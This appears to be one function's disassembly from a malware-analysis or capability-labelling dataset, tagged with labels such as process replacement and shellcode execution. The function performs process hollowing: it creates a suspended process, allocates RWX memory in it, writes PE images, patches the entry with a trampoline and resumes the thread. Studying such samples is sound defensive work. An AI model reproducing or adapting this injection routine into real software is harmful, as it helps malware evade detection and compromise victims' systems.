Function at 0x10010280
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
sub esp, 0x3ac
mov eax, dword [0x100812a0]
xor eax, esp
mov dword [esp + 0x3a4], eax
mov eax, dword [esp + 0x3b4]
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x3c0]
mov esi, edx
mov edx, dword [edi + 0x3c]
cmp dword [edi + edx], 0x4550
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], ecx
je 0x100102c4
or eax, 0xffffffff
jmp 0x100105f4
cmp dword [0x100836c4], 0
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
jne 0x100102eb
push str.NtQueryInformationProcess
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call ebx
mov dword [0x100836c4], eax
push 0x40
lea eax, [esp + 0x50]
push 0
push eax
call fcn.10025370
add esp, 0xc
xor eax, eax
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x4c]
push edx
push eax
push eax
push 4
push eax
push eax
push eax
push eax
push esi
mov dword [esp + 0x70], 0x44
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x100102bc
mov ecx, dword [esp + 0x18]
push 0
push 0x18
lea eax, [esp + 0x38]
push eax
push 0
push ecx
call dword [0x100836c4]
test eax, eax
js 0x100102bc
mov eax, dword [esp + 0x34]
test eax, eax
je 0x100102bc
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 0x1d8
lea edx, [esp + 0xd8]
push edx
push eax
mov eax, dword [esp + 0x28]
push eax
call esi
test eax, eax
je 0x100102bc
mov ebp, dword [esp + 0xd8]
mov edx, dword [esp + 0x18]
push 0
push 0x40
lea ecx, [esp + 0x98]
push ecx
push ebp
push edx
call esi
test eax, eax
je 0x100102bc
mov ecx, dword [esp + 0xcc]
mov edx, dword [esp + 0x18]
push 0
push pe_nt_image_headers32
lea eax, [esp + 0x2b0]
push eax
add ecx, ebp
push ecx
push edx
call esi
test eax, eax
je 0x100102bc
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea edx, [esp + 0x14]
push edx
mov dword [0x1008317c], eax
mov eax, dword [esp + 0x2d4]
push 0x10
add eax, ebp
push 0x1008319c
push eax
mov dword [0x10083198], eax
mov eax, dword [esp + 0x28]
push eax
mov dword [0x10083180], ebx
call esi
mov esi, dword [edi + 0x3c]
mov ecx, dword [esi + edi + 0x50]
mov edx, dword [esp + 0x18]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x40
push 0x1000
add esi, edi
push ecx
push 0
push edx
call ebx
mov ebp, eax
test ebp, ebp
je 0x100102bc
mov eax, dword [esi + 0x28]
add eax, ebp
push ebp
push edi
mov dword [0x10083194], eax
mov dword [0x10083188], ebp
call fcn.1000fce0
mov edi, eax
add esp, 8
test edi, edi
je 0x100102bc
cmp dword [esp + 0x28], 0
mov eax, dword [esp + 0x2c]
mov dword [0x1008318c], 0
mov dword [0x10083190], eax
je 0x100104ab
test eax, eax
je 0x100104ab
mov ecx, dword [esp + 0x18]
push 0x40
push 0x1000
push eax
push 0
push ecx
call ebx
mov ebx, eax
test ebx, ebx
je 0x100104ab
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x14]
push edx
mov edx, dword [esp + 0x1c]
push eax
push ecx
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100104ab
mov dword [0x1008318c], ebx
mov ecx, dword [esi + 0x50]
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x14]
push eax
push ecx
push edi
push ebp
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x8000
push 0
test eax, eax
push edi
setne bl
call dword [sym.imp.KERNEL32.dll_VirtualFree]
test bl, bl
je 0x100102bc
call fcn.1001e290
mov ecx, dword [esp + 0x18]
mov ebx, eax
mov edi, dword [ebx + 0x3c]
mov eax, dword [edi + ebx + 0x50]
push 0x40
push 0x1000
push eax
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebp, eax
test ebp, ebp
je 0x100102bc
push ebx
mov dword [0x10083184], ebp
call fcn.1000fdb0
add esp, 4
mov dword [esp + 0x28], eax
test eax, eax
je 0x100102bc
mov ecx, dword [edi + ebx + 0x50]
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea edx, [esp + 0x14]
push edx
mov edx, dword [esp + 0x1c]
push ecx
push eax
push ebp
push edx
call edi
push 0x8000
test eax, eax
mov eax, dword [esp + 0x2c]
push 0
push eax
setne byte [esp + 0x1f]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp byte [esp + 0x13], 0
je 0x100102bc
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x14]
push ecx
push 0x30
sub ebp, ebx
push 0x1008317c
lea edx, [ebp + 0x1008317c]
push edx
push eax
call edi
test eax, eax
je 0x100102bc
mov ecx, 0x2000
test word [esi + 0x16], cx
je 0x10010598
add ebp, 0x10010040
jmp 0x1001059e
add ebp, 0x10010050
mov ecx, dword [0x10083198]
lea edx, [esp + 0x14]
push edx
mov edx, dword [esp + 0x1c]
push 6
lea eax, [esp + 0x3ac]
push eax
push ecx
push edx
mov byte [esp + 0x3b8], 0x68
mov dword [esp + 0x3b9], ebp
mov byte [esp + 0x3bd], 0xc3
call edi
test eax, eax
je 0x100102bc
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x3b4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100201e8
add esp, 0x3ac
ret